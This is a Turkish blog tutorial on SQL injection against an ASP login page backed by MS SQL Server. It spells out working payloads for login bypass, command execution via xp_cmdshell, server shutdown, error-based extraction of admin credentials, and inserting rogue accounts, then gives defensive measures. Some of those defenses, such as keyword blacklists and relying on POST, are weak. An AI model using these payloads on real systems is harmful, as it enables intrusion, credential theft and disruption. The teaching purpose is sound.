SQL mi ? O Da Ne ?

SQL Mi? O da ne ?

Günümüzde her türlü (sağlık,askeri,bilimsel,eğitsel,aliş-veriş vs.) alanda ihtiyaç duydugumuz internet.Bu ihtiyaçlarımı karşılamak için Web sitelerinden oluşmaktadir bildiğiniz gibi.Ve elbette bu sitelerinde bir çalışma mantığı vardır.Bu yönden siteler kodlanış, dil bakımından ayrılırlar.

Bu başlıkta bizi ilgilendiren konu Yapısal Sorgulama Dili (Structured Query

Language – SQL) dir.Web siteleri formlar arağılığyla kullanılan bu sorgulama dilinin güvenliği işlevi kadar önemlidir.

Peki niye güvenlik açığı oluşur derseniz  ? Formlarda kullandığımız bir dil olan, sorgulardan oluşan bu yapı standart bir haldedir.Bizim belirlediğimiz işi belirlediğimiz komutu yerine getirir.Eğer gerekli güvenlik sağlanmadıysa bu sorgu dilinin baştan yapılandırılması mümkün.Güvenlikte burada başlıyor.

Bu güvenlik problemlerini Web site üzerinde 3.Şahıslar sorguları baştan yapılandırarak kullanırlar.Sorguları baştan yapılandırarak, düzenleyerek veritabanındaki istedikleri veriyi veriyi çekip-okuyabilir bununla yetinmeyip veriyi işleyebilir de! Hatta veri tabanı sistemini komutlarla kontrol ederk sunucular üzerinde uygulamalar harici istenen işlemler de yapılabilir.Evet böyle bir açığınız varsa; Olabilecekler korkunç değil mi ? Bencede…

Bu problemlerden korunmak içinde uygulama girdilerinde zararlı kodlar ve karakterleri kontrol eden fonksiyonlar yazılarak önlem alınmalı.Güvenlik denetimindende geçirerek uygulamaların güvenliğinden emin olunmalıdır.

Yapısal Sorgulama Dilini( SQL ) bilmek ve anlamak

Güvenliğinizi sağlayabilmeniz için ilk önce nasıl saldırıldığı konusunda fikir sahibi olmalısınız.Saldırı yöntemlerini bilmeden, güvenlik sağlamak mümkün değildir.

Yapısal Sorgulama Dili SQL’in uygulamalardaki kullanım şeklini örneklendirelim ve daha sonra açıklayalım.

Örnek1:

Tablo adı      : tablo1

Kolon sayısı : 3

Kolon adları : id,kolon1,kolon2

SELECT Kolon1,kolon2 FROM Tablo1 WHERE id = `4`

Bu sorgu ile yapılan,Tablo1 de yer alan kolon1 ve kolon2 nin id si 3 olan yerin değerlerini yansıtacak bize.

Sonuç olarak :

LojistikUser,cw-seber

( id si 4 olan tablo1 deki kolon1 ve kolon2 görüntülenir. )

Bu tarz bir sorgu ile eldi ettiklerimizi gördünüz.Access veritabanında yazılmış bilgileri okuduk.Bu sorgu

kullanılan formun SQL Deyimini yeniden yapılandırabilecek bazı özel karakterlere izin

vermesiyle ortaya çıkmaktadır. Çözümü ise girdilerden bu özel karakterlerin ve kod parçacıklarının

filtrelenmesini sağlayan fonksiyonlardır.

Çok kullanışlı olan bu uygulamanın hemen hemen her alanda artık karşımıza çıkması şaşırtıcı değil.Güvenliği ise kesinlikle elden bırakılmamalı.Giderek yaygınlaşan ve medyanın haber potansiyelini oluşturan; çalınan kredi kartı

numaraları, yer altı sitelerde dağıtılan müşteri bilgileri, şirket projeleri – yazışmaları

yaklaşan tehlikenin habercisi olmakla beraber halen bu tür kayıpların yaratabileceği

maddi sonuçları kavrayamayan ve hala “az maliyetle kurtarılan güvenlik projeleri” ile cyber-warrior.org/seber

övünen yöneticilere uyarı niteliği taşımaktadır.Sonuçta güvenlik maliyetini düşük tutmanın, güvenliğe önem vermemenin sıkıntısını saldırganlar tarafından zarara uğratıldıklarında anlarlar.Güvenlik şakaya gelmez…

Örnek Saldırıları İnceleyelim

“Güvenliği sağlamak için, önceden saldırıyı tahmin etmek şart…”

Güvenliğin temel ilkeleri arasında yer alıyor artık bu deyim;”Saldırılardan korunabilmek için, saldirgan gibi düşünmelisiniz.” Saldırganın sisteminize girmek için kullanabileceği yöntemleri bilmek

bu saldırılardan korunabilmek için alınan önlemleri daha sağlıklı kılacaktır.

Örneklerde kullanacağımız hedef ; Microsoft®

Internet Information Server™’ dan Microsoft® SQL

Server™’a varsayılan sistem hesabı’ndan (sa) bağlanan

ASP tabanlı bir kullanıcı hesabı yöneticisi olacak.

Form.asp : Username ve Password girdisini alan

form.

Login.asp : Veritabanı ile bağlantıya geçen ve

girdinin doğruluğunu kontrol eden ASP kodu.

(‘) İmleçleri kullanarak İzinsiz Giriş Yapmak

Kullanıcı “Username” & “Password” verisini Login.asp ye yolladıktan sonra .asp kodunun

yapacağı iş verilen yoldaki veritabanı ile bağlantı kurup bilgileri kontrol etmektir. Bu işlem

sonucunda eğer sonuç olumluysa kullanıcıya; “Giriş Yapıldı” olumsuzsa; “Geçersiz

Kullanıcıadı & Şifre” mesajı verilecektir.

Örnekleyecek olursak;

Username : Seber

Password : cw123456

Şeklindeki kullanıcı girdisi aşağıdaki SQL Deyimini oluşturacaktır;

SELECT count(*) FROM Users WHERE Username = `Seber` AND Password =

`cw123456`

Sorguda göründüğü gibi sorun yok.Eğer;

Username : Seber

Password : ‘ OR 1=1—

Şeklindeki girdilerle oluşturacağı SQL Deyimi ise;

SELECT count(*) FROM Users WHERE Username = `Seber` AND Password =

“ OR 1=1 –`

Olacaktır ki, bu durumda girişin sağlanması için şart “seber” kullanıcı adına ait şifrenin

hiçbirşey* olması veya ikinci bir opsiyon olarak 1=1 eşitliğinin sağlanmasıdır.

* Hiçbişey ≠ Boşluk

Sonuç : 1=1 eşitliği sağlandığına göre saldırı başarıyla sonuçlanacak ve “Giriş Yapıldı”

mesajı verilecektir.Çünkü tırnaklar birbirini tamamladı şifre hiçbirşeyi kabul etmiyor olsa bile OR kısmından sonrası devreye girecek ve 1=1 olduğu için yine giriş yapmış olacağız.

Not : Microsoft® SQL Server™ “–“ imlecinden sonra gelen yersiz kullanılmış tırnak

işaretlerini göz ardı edecektir.”-” imleci sorguyu sonlandırı kısaca.

İlk bakışta basit gibi görünen ve sadece SQL Server’a ait

olan bu özellik ilerde örneklerden de anlaşılacağı üzere saldırgana büyük kolaylık

sağlayacaktır.

Uzaktan çalıştırılan prosedürlerin saldırı tipleri;

MS SQL Server’a varsayılan sistem hesabından yaptığımız bağlantı SQL Enjeksiyon

saldırısında muhtemel saldırgana sunucuda saklanan prosedürleri çalıştırabilmesi için

gerekli hakları tanıyacaktır.Varsayılan ayarlar o yuzden tercih edilmemelidir.

Saldırganın kullanabileceği prosedürlerden bir tanesi;

“master..xp_cmdshell” olabilir. cyber-warrior.org/seber

Username : Seber

Password : `; EXEC master..xp_cmdshell ‘dir c:`–

Girdileriyle oluşacak SQL Deyimi;

SELECT count(*) FROM Users WHERE Username = `Seber` AND Password =

“; EXEC master..xp_cmdshell ‘dir c:`–`

Sonuç : SQL Server Kullanıcıadı ve Şifreyi bulunduran sütunları arayacaktır bulamadığı

için “Yanlış Kullanıcıadı & Şifre” mesajını verecektir fakat bu arada arka planda “dir c:”

komutunu çalıştıracak ve saldırgan C sürücüsünün içeriğine ulaşacaktır.

SQL Server Hedef Alınarak Yapılan Saldırılar;

Yönetici haklarına sahip saldırgan silme,ekleme,değiştirme…vb gibi komutları rahatlıkla

çalıştırabilecektir.

SHUTDOWN WITH NOWAIT SQL Server’ın kritik komutlarından bir tanesidir. Komutla

beraber SQL Server görevine son verir.

Username : ‘; SHUTDOWN WITH NOWAIT–

Password : [Boş]

Bu girdilerle oluşturulan SQL Deyimi;

SELECT Username FROM Users WHERE Username=“; SHUTDOWN WITH NOWAIT;

–` AND Password=“

Sonuç : SQL Server kullanıcıadının bulunamadığı mesajını verecektir. Fakat bununla

beraber arka planda diğer komutu çalıştırdığı için SQL Server kapanacaktır.

ODBC Hatalarından Faydalanarak Yapılan Saldırılar;

SQL Server’ın verdiği hatalardan faydalanarak veritabanındaki neredeyse tüm bilgilere

ulaşmak mümkündür.

Hedef; http://Victim/Default.asp?id=10 şeklinde ürün ID leri ile çalışan ASP tabanlı bir

websitesi.

Saldırı SQL Server’ın integer ve string cinsinden verileri birlikte gönderememesinden

faydalınarak yapılır;

Gönderilen ‘10’ sayısına veritabanından herhangi bir string eklenir.

http://Victim/Default.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM

INFORMATION_SCHEMA.TABLES–

Not : “INFORMATION_SCHEMA.TABLES” sistem tablosu, sistemde bulunan diğer tüm

tablolar hakkında bilgi içerir. Deyimde kullanılan “TABLE_NAME” de yine tüm tablo

isimlerini içerir.

Oluşacak SQL Deyimi;

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES

String -> Integer dönüşümünü yapamayan SQL Server aşağıdaki hatayı verecektir.

Microsoft OLE DB Provider for ODBC Drivers error `80040e07`

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error

converting the nvarchar value `Table1` to a column of data type

int.

/Default.asp, line 5

Hata, saldırgana “Table1” olarak bulduğu cevabı integer a çeviremediğini (dolayısıyla

veritabanındaki ilk tablo adının “Table1” olduğunu) belirtmektedir. Saldırgan diğer

tabloların adını aşağıdaki şekilde öğrenebilir…

http://Victim/Default.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM

INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (`Table1`)–

Veya doğrudan LIKE komutunu kullanarak aradığı şeye daha kolay yoldan ulaşabilir;

http://Victim/Default.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM

INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE `%25Login%25`–

SQL Server’ın vereceği hata;

Microsoft OLE DB Provider for ODBC Drivers error `80040e07`

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error

converting the nvarchar value `Admin_Login` to a column of data

type int.

/Default.asp, line 5

Admin_Login adında bir tablo olduğunu öğrenen saldırgan muhtemelen tablodaki ilk

kullanıcıadı ve şifreye ulaşmak isteyecektir. İzleyebileceği yol ise;

http://Victim/Default.asp?id=10 UNION SELECT TOP 1 Username FROM Admin_Login–

Hata;

Microsoft OLE DB Provider for ODBC Drivers error `80040e07`

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error

converting the nvarchar value `Seber` to a column of data type int.

/Default.asp, line 5

Bu şekilde “admin” kullanıcıadının varlığını doğrulayan saldırganın şifreyi ele geçirmek

için kullanacağı girdi; cyber-warrior.org/seber

http://Victim/Default.asp?id=10 UNION SELECT TOP 1 Password FROM Admin_Login

WHERE Username=`Seber`—

Hata;

Microsoft OLE DB Provider for ODBC Drivers error `80040e07`

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error

converting the nvarchar value `cw123456` to a column of data type int.

/Default.asp, line 5

Sonuç :

Username : Seber

Password : cw123456

Veritabanına Ekleme Yapma veya Veri Düzenleme;

Kullanıcıadı ve şifre bilgisine ulaşan muhtemel saldırgan benzer yöntemleri ve

UPDATE,INSERT komutlarını kullanarak şifreyi değiştirebilir veya daha temizi başka bir

kullanıcı hesabı açabilir…

http://Victim/Default.asp?id=10; UPDATE `Admin_Login` SET

`Password` = `NewPwd` WHERE Username=`Seber`–

Yeni bir kullanıcı hesabı için;

http://Victim/Default.asp?id=10; INSERT INTO `Admin_Login`

(`UserID`, `Username`, `Password`, `Details`) VALUES

(666,`Desperate_Cry`,`cw123456`,`N/A`)–

Peki Nasıl Korunulur?

“Kod parçalarının ( Karakterlerin..) Büyük Rolleri…”

SQL enjeksiyon saldırılarından korunma amaçlanırken temel ilke: “İmleçlerin, Karakterlerin vs. Kod parçalarının Büyük Rolleri…”

Kullanıcı Haklarının Sınırlandırılması ;

Yaygın olarak yapılan hata; Web Server dan SQL Server a yapılan bağlantılarda varsayılan

sistem hesabı kullanılması… Bu şekilde yönetici haklarına sahip olan saldırgan örneklerde

de görülebileceği üzere isteği komutu çalıştırıp istediği ekleme,silme,düzeltme eylemini

gerçekleştirebilecektir. Bunu yerine yapılması gereken yeni bir kullanıcı hesabı oluşturup

kullanıcının çalıştırabileceği komutları sınırlandırmak olacaktır. cyber-warrior.org/seber

Mesela sitenizden ürünlerinizin incelenmesine ve bunlar arasından sipariş verilmesine izin

verecekseniz, “web_user” gibi bir kullanıcı adı oluşturup ürünleri incelemek için; ürünler

sütununda sadece “SELECT” kullanımına ve siparişleri için; siparişler sütununda sadece

INSERT” kullanımına izin vermeniz uygun olacaktır.

Girdilerde Tırnak İmleçlerinin (‘) Kötü Amaçlı Kullanımının Engellenmesi ;

Yaygın SQL Enjeksiyon saldırıları SQL deyimlerinin girdilerdeki gereksiz (‘) tırnak

işaretleri yardımıyla yeniden oluşturulması sayesinde yapılır.

Küçük bir filtreleme fonksiyonu veya tek tırnağı çift tırnağa çeviren bir fonksiyon

muhtemel bir saldırıyı engellmek için yeterli olabilir.

ASP Kullanarak girdileri kontrol ederek değiştiren bir fonksiyon kolaylıkla yazılabilir;

<%

Function ReplaceQuotes(strWords)

ReplaceQuotes = Replace(strWords,”’”,”””)

End Function

%>

Bu fonksiyonu baştaki örnekte kullanırsak;

SELECT count(*) FROM Users WHERE Username=`Seber` AND Password=“

OR 1=1 –`

şeklinde olan deyim…

SELECT count(*) FROM Users WHERE Username=`Seber` AND Password=`”

OR 1=1 –`

‘e dönüşecektir.

Form Girdilerinden Gereksiz Karakterlerin Elenmesi ;

SQL Enjeksiyon saldırıları genelde “;, –,SELECT, INSERT ve xp_” gibi karakterlerinkelimelerin

kullanılmasıyla yapıldığı için gönderilecek girdinin önce bir filtreleme

fonksiyonundan geçirilmesi muhtemel zayıflığı engelleyebilir.Örneğin kullanıcıdan E – mustafayalcin.net.tr

Mail adresini girmesi isteniyorsa harfler ve sayıların yanında sadece “ @,-,_,.”

karakterlerinin kullanılmasına izin verilmelidir.cyber-warrior.org/seber

Ve sunucuda saklanan xp_cmdshell ve xp_grantlogin gibi genel prosedürler,C/C++ tabanlı

DLL ler, kullanıcı taraflı fonksiyonlar…vb, izole edilmiş bir sunucuya taşınmalıdır.

Bazı zararlı kelime-harfleri filteleyen ASP fonksiyonu aşağıda örneklenmiştir;

<%

Function FilterBadWords(strWords)

dim BadWords

dim NewWords

BadWords = array(“SELECT”, “DROP”, “;”, “–“, “INSERT”, “DELETE”,

“xp_”)

NewWords = strWords

for i = 0 to uBound(BadWords)

NewWords = Replace(NewWords, BadWords(i), “”)

Next

FilterBadWords = NewWords

End Function

%>

mustafayalcin.net.tr

Tırnak değiştirme fonksiyonu ve filtreleme fonksiyonu beraber kullanılırsa;

SELECT Username FROM Users WHERE Usename=“; EXEC

master..xp_cmdshell `dir c`; –` AND Password=“

Şeklindeki SQL Deyimi…

SELECT Username FROM Users WHERE Usename=`” EXEC master..

cmdshell “dir c:” ` AND Password=“

‘e dönüşecektir ki bu da herhangi bir kayıt bulumadığı hatasını vermekten öteye

gitmeyecektir. Bu fonksiyonu kullanıcıdan gelen bütün girdilere, adres satırı ifadelerine

ve çerezlerden gelen tüm veriye uygulamamız gelebilecek saldırının önüne geçecektir.

Veribox Uzunluğunun Sınırlandırılması ;

Veritabanındaki ayrılan alanın uzunluğu 10 karakterlikse, formunuzda bu alan için 50

karakter sığan bir text kutusuna sahip olmanız sakıncalı olabilir. Ve mümkün olduğu

kadar girdi uzunluklarını kısa tutmak muhtemel saldırıyı engellemek için önlem

sayılabilir.

Veribox Cinsinin Kontrol Edilmesi ;

Formunuzdan girilen verinin istediğiniz türden bir veri olup olmadığını kontrol eden bir

fonksiyon kötü amaçlı kullanımlarda saldırganın kullanabileceği harf/sayı seçeneğini

kısıtlayacaktır. Mesela, eğer Ürün ID si için formunuzdan girdi alıyorsanız girdinin sayısal

bir ifade olup olmadığını kontrol eden bir fonksiyon fayda sağlayacaktır.

mustafayalcin.net.tr

Kullanılan Veri Gönderme Metodu ;

Şüphelenmeyen bir kullanıcıdan zarar gelmez.

Formunuz aracılığı ile topladığınız verileri yollarken mutlaka “POST” metodunu kullanın

ki kullanıcılarınız adres çubuğunda girdikleri verilerle beraber form değerlerini

gördüklerinde akıllarına farklı fikirler gelmesin.

Sözün Özü

Günümüzde alınan güvenlik önlemleri standartlaştı, bunlardanda kaçınmanızda fayda var.Konu hakkında bilgi sahibi olunmamasına rağmen standart yöntemleri kullanarak sağlanacak güvenlikten umut etmek acı.En azından geçici bir çözüm olur.

Güvenliği sadece Web Master larının takip etmediğini unutmayınız.Bu yüzden daima özel bir çaba özel bir emek özel bir birikim kullanmak gerek.Bu sayede bilinçli bir güvenliğe sahip olabilirsiniz.Bilinçsizce alınan önlemler çözüm değildir.

Güvenlik düzenli olarak takip ister, kontrolleri sürekli yapmak, bilgi sistemlerinin alt yapısı hazırlanıp takip sürecine tabi tutulmalı. Bilgi sistemlerinin önemli bir kısmını

oluşturan uygulamaların taşıyabileceği güvenlik sorunları uzun süredir ihmal

edilmelerinden dolayı, günümüzün en popüler sistem sızma noktalarını teşkil

etmektedirler.Son zamanlardaki değişimi göz önünde bulundurursak Güvenlik Konusunun Popularitesinin iyi bir ivme ile  artacagını tahmin etmek çok zor değil.

Bu nedenle uygulama güvenliğine ilişkin gereken önemi vermeniz, güvenlik denetimi yaptırmanız ve kurumunuzun bilgi güvenliği sistemleri için alt yapı hazırlamanızı öneriyoruz.

Mustafa YALÇIN

SQL Mi O da Ne Makalesi


Google ile gelen arama sonuçları:

  • SQL A DAİR HERŞEY
  • exec master xp_cmdshell türkçe karakter sorunu
  • exec xp_cmdshell ile ne yapılır
  • sql e dair herşey

One thought on “SQL mi ? O Da Ne ?

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

This site uses Akismet to reduce spam. Learn how your comment data is processed.